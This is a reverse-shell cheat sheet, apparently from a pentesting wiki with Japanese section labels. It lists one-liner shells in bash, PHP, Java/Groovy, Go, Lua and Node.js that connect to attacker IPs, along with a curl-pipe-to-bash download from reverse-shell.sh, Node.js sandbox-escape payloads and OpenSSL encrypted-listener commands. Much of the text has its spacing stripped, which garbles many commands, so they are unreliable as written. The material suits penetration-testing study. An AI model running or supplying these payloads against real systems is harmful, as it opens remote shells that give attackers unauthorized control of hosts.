curlhttps://reverse-shell.sh/1.1.1.1:3000|bashbash-i>&/dev/tcp/<ATTACKER-IP>/<PORT>0>&1bash-i>&/dev/udp/127.0.0.1/42420>&1#UDP0<&196;exec196<>/dev/tcp/<ATTACKER-IP>/<PORT>; sh<&196>&1962>&196exec5<>/dev/tcp/<ATTACKER-IP>/<PORT>; whilereadline0<&5; do $line 2>&5>&5; done#Short and bypass (credits to Dikline)(sh)0>/dev/tcp/10.10.10.10/9091#after getting the previous shell to get the output to executeexec>&0
// Using 'exec' is the most common method, but assumes that the file descriptor will be 3.// Using this method may lead to instances where the connection reaches out to the listener and then closes.php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'// Using 'proc_open' makes no assumptions about what the file descriptor will be.// See https://security.stackexchange.com/a/198944 for more information<?php $sock=fsockopen("10.0.0.1",1234);$proc=proc_open("/bin/sh -i",array(0=>$sock,1=>$sock,2=>$sock), $pipes); ?><?php exec("/bin/bash -c 'bash -i >/dev/tcp/10.10.14.8/4444 0>&1'"); ?>
ジャバ
r=Runtime.getRuntime()p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
ルア
#Linuxlua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
#Windows & Linuxlua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
NodeJS
(function(){var net =require("net"),cp =require("child_process"),sh =cp.spawn("/bin/sh", []);var client =newnet.Socket();client.connect(8080,"10.17.26.64",function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/; // Prevents the Node.js application form crashing})();orrequire('child_process').exec('nc -e /bin/sh [IPADDR] [PORT]')require('child_process').exec("bash -c 'bash -i >& /dev/tcp/10.10.14.2/6767 0>&1'")or-var x =global.process.mainModule.require-x('child_process').exec('nc [IPADDR] [PORT] -e /bin/bash')or// If you get to the constructor of a function you can define and execute another function inside a string"".sub.constructor("console.log(global.process.mainModule.constructor._load(\"child_process\").execSync(\"id\").toString())")()
"".__proto__.constructor.constructor("console.log(global.process.mainModule.constructor._load(\"child_process\").execSync(\"id\").toString())")()
or// Abuse this syntax to get a reverse shellvar fs =this.process.binding('fs');var fs =process.binding('fs');orhttps://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py
OpenSSL
攻撃者 (Kali)
opensslreq-x509-newkeyrsa:4096-keyoutkey.pem-outcert.pem-days365-nodes#Generate certificateopenssls_server-quiet-keykey.pem-certcert.pem-port<l_port>#Here you will be able to introduce the commandsopenssls_server-quiet-keykey.pem-certcert.pem-port<l_port2>#Here yo will be able to get the response